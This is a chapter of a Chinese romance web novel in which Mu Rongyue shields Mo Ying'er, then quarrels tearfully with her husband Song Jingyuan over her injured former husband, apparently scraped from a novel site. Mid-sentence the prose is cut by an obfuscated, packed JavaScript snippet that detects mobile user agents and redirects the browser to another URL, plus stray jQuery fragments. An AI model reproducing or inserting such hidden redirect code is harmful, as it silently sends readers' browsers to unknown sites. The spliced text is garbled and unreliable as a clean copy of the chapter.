51. 第五十一天

作品:《谢将军今日火葬场了吗

    就在这时,一声轻唤却打断了两人的谈话。


    “夫人,你怎会在这里?”


    宋景渊朝慕溶月走来,脸上的表情带着几分犹疑。


    “我还以为,你现在正在家里等我。”


    慕溶月闻声回过了头,与他四目相对。见状,莫盈儿惊出了一身冷汗。


    从宋景渊的角度来看,说要回家的妻子,此刻却出现在了青林山——很难让人不去多心,猜想她是否是最后心怀有鬼,才跑来向谢羡风暗中通风报信。


    慕溶月完全可以说出实情,避免与丈夫生出嫌隙。


    只是,倘若如此,莫盈儿的下场就很凄惨了。


    不知宋景渊这个心狠手辣的男人会如何处置她。


    横竖都是一死,罢了。莫盈儿闭上双眼,将心一横——下一瞬,慕溶月却上前一步,将她挡在了身后。


    然后,面色平淡地答:“只是有些放心不下你,所以过来看看,仅此而已。”


    人在说谎时,会有些下意识的小动作。


    例如,不安分的手指,或是游移的目光。


    宋景渊将这些细节全部看在眼里,面上却若无其事一般反问:“仅此而已?”


    慕溶月抬眼看向他。


    “嗯。”


    于是,三人皆是闭口不语,空气里弥漫起了一股诡异的氛围。


    宋景渊皱了皱眉。


    他隐约感到,他与慕溶月之间,莫名地生出了几分隔阂。


    她有话瞒着他,不愿对他说。


    宋景渊不喜欢这样的感觉。


    但表面上,他按兵不动,而只是以寻常态度向下人挥手示意:“护送夫人回府吧。”


    一直到坐在了回城的马轿内,莫盈儿的心中仍然七上八下,忐忑不安。


    她担心师兄的伤势,却也猜不透慕溶月的心思。


    如今,郡主对师兄,究竟是何种的态度?


    若慕溶月真是蛇蝎心肠的冷血之人,当时为何又会好心收留了她,纵使知道她做错了事,还替她遮掩?


    难道,她的蛇蝎心肠只是对着他而已?


    倘若真是如此,那还能算得上是蛇蝎心肠吗?


    也许,用“由爱生恨”来形容,才更为妥帖吧。


    莫盈儿情不自禁看向了慕溶月的侧脸。


    或许,就连她自己都没发现……


    其实在她心底,


    还有一处隐蔽的角落,仍然在乎着他,


    对吗?


    ***


    关上了寝门,慕溶月陡然松下了紧绷的戒备,踉跄地跪倒在了床沿边。


    杏雨吓了一跳,连忙吩咐下人来照顾,慕溶月抱着冰冷的痰盂,吐了个昏天黑地。


    吐到后面,只有苦涩的胆汁,直到干呕得喉咙充血,呛出了道道血丝。


    杏雨紧张得花容失色,连忙想为她寻郎中来看,“小姐!这……这可怎么才好啊……”


    “不必声张,”慕溶月却拦住了她,艰涩地说,“我只是……有些吓到了。”


    她没想到,自己生平第一次见到这般血腥的画面,会是在谢羡风的身上。


    如此近距离接触,她猝不及防地闻到了那样浓烈的铁锈血腥味,令人胃里翻云倒海地恶心。


    大片的血色染红了她的视线,目光所及之处尽是断肢残臂,血肉模糊。


    慕溶月被这幅场景震撼得无以复加,心跳如雷点,久久不能平复。


    就连她自己也有些看不懂自己了。


    那时,她已然找到了莫盈儿,带上她,扭头走了便是。


    又何苦绕回来,亲自看上那一眼呢?


    她明知自己无法承受那样的画面。


    她又想看到些什么呢?


    慕溶月痛苦地闭上眼,脸色因为过度受惊而显出了几分惨白。


    ……或许,


    她只是不想在回去以后,毫无准备地便收到了谢羡风的死讯。


    在青林山上时,她无意间与谢羡风对上了视线。


    她用尽全身的力气,才面前控制住了面部的表情,不让任何人看出她情绪的破绽,直到谢羡风被人带走。


    对外人,她可以强装不在意。


    可她骗不了自己。


    亲眼目睹那样残忍的画面,哪怕受伤的是一个陌生人,也都会心有余悸。


    慕溶月闭上眼,隐约感到心底的堡垒好似被逐渐攻破了一个窟窿,正在往外汩汩涌动着卸闸的洪流,尽数防备,就要毁于一旦……


    一个声音倏地打破了她的思绪。


    “害怕吗?”


    慕溶月错愕地抬起头,却看见宋景渊不知何时已然站在了她身后,正缓缓向她走来。


    一步,一步,离她越来越近。


    最后,鞋履停在了她眼前,恍若近在咫尺。


    “他的手已经废了。”


    宋景渊逐渐低下头,脸上看不出有什么表情,而只是淡漠地陈述一个事实,“若再拖久一点,病症便会扩散到全身——那时不用旁人做些什么,他自己就会一命呜呼了。”


    闻言,慕溶月的瞳孔微微放大。


    “我只需要,下令赶走官衙附近所有的郎中,这不过是一句话的事罢了。”


    见慕溶月脸色苍白,宋景渊却眉头一皱,继而伸出两指,捻着她的下巴,缓缓抬起。


    “怎么了?夫人。”


    “你是想向我求情吗?为了你的前夫。”


    看着他眸底的几分试探之色,慕溶月忽而咬住了下唇,止不住地胸闷气短。


    不知怎么,他好似总是没办法与她交心共情。


    他是她的丈夫,却并不知道她真正在意什么,而只是一味地试探——试探在她的心中,他与前夫究竟孰轻孰重。


    既无奈,又有些难过。


    “为什么你能将这件事说得这么轻描淡写?”


    宋景渊微眯起眼,微妙的表情:“我以为,你已经知道会是这样的结果。”


    “可心里知道,和眼前看见……是不一样的。”


    “夫人,”他蓦然打断了她,“我一路走到今天,可不能仅仅靠纸上谈兵啊。”


    宋景渊眼底的冷漠,再一次刺痛了慕溶月的心。


    她垂下头,终于不再说话。


    宋景渊此刻也怀着满腔的躁郁,无处发泄。


    他没想到,自己也会入戏这么深。


    他原本没有真的怀疑自己的妻子,毕竟他相信慕溶月的为人,在大是大非上,她不至于被一时的情绪冲昏了头脑。


    但是……


    不知为何,一想到本该回到家中乖乖等消息的慕溶月,却不惜对他扯谎,而出现在了不该出现的地方——他心底就燃起一股名为嫉妒的烈焰。


    而此时此刻,


    她竟然,还反过来指责他的冷血无情。


    “我本就是这样一个狠毒、不择手段的人!”宋景渊怒而起身,背


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840937|150933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对着慕溶月,压抑着心口的躁动,低吼出声,“身在我这样的高位,若没有几分手段,又如何能稳固家业之根基?像我这样的人,有几个是真正清白干净的?谁没有背负过几条人命?谁的手上没有染过几分血污?我以为,这个道理你会懂的——看来,公主府的千金,还是待在温室里太久了。”


    说着,宋景渊扭过身去,目光如炬地瞪视着慕溶月。


    “慕溶月,你既然选择了我,就已经是选择了要走这条路。哪怕不愿意,也只有硬着头皮——陪我走下去。”


    “你是我的妻子,我不可能放手,永远不可能。”


    他话里带刺,明嘲暗讽地讥刺她的天真与无知。


    慕溶月无法反驳,只能紧咬住嘴唇,直到尝到舌苔上的一抹血腥味。


    ……这样的道理,她又怎会不懂?


    她只是……只是心里太乱了。


    她只是想找个人倾诉而已。


    她并不想和宋景渊发生口角和冲突……她心里很乱,她自己也不知道自己究竟怎么了。


    或许,她只是想要听到夫君对她说上几句安慰的话;


    或许,她需要的,仅仅是他的一个拥抱而已。


    “我没有不愿意,我也没有想过放手。”


    “我……我只是……”


    好痛苦。


    无论待在谁的身边,都好痛苦。


    滴答。


    泪水滚落在地。


    慕溶月的尾音逐渐带上了几分哽咽,她忽地潸然落下了泪来,清瘦的双肩隐隐发着抖。


    宋景渊的动作僵滞住了。


    这是她这么多年来,第一次在他面前暴露脆弱的一面。


    这些溅落在地的泪珠,残留着她的余温,是毫不加掩饰的,她的真心。


    宋景渊的脸色逐渐变白。


    或许,她只是被那血腥的画面吓到了。


    归根结底,她也不过是个自幼娇养的女人罢了。


    他为她找好了无数的理由,方才的愤怒此刻都化为了烟消云散。


    宋景渊两步上前,弯下腰,将慕溶月搂在了怀里,抱上了桌沿。


    她的泪水沾湿了他的衣襟,他则耐心地吻去她的泪痕,向她致歉。


    “夫人,莫要多心了。方才,我只是胡说的……”


    “我答应你,我不会真的不让郎中医治他的。”


    “至于他能不能活下来……全凭他自己的造化,如此可好?”


    “别再哭了,好么?”见她泪流不止,宋景渊沙哑着嗓音,将头深埋进慕溶月的颈侧,“你这不是要了我的命吗?”


    好不容易哄了半天,才将她哄得渐渐平复了心情。


    慕溶月从宋景渊怀中伸出脸来,眼下还挂着未干的泪痕,在月光下闪烁着细碎的光,让人看了心觉楚楚可怜。


    “景渊,我想最后见他一面。”


    “我答应你。此后,我便与他一别两宽,此生不复相见。”


    她好似已经做出了某种决定。


    她这副模样求他,他又如何能拒绝呢?


    宋景渊无可奈何地叹了一口气,只有将人默默地紧抱在了怀里。


    早知如此,当初就应让这该死的桓王去一边——不该怂恿她以身入局,和前夫纠缠不清了。


    如今已是有些后悔了。


    但可惜为时已晚。宋景渊仍克制着心头的躁闷,朝她点头应好。


    “好,去吧。”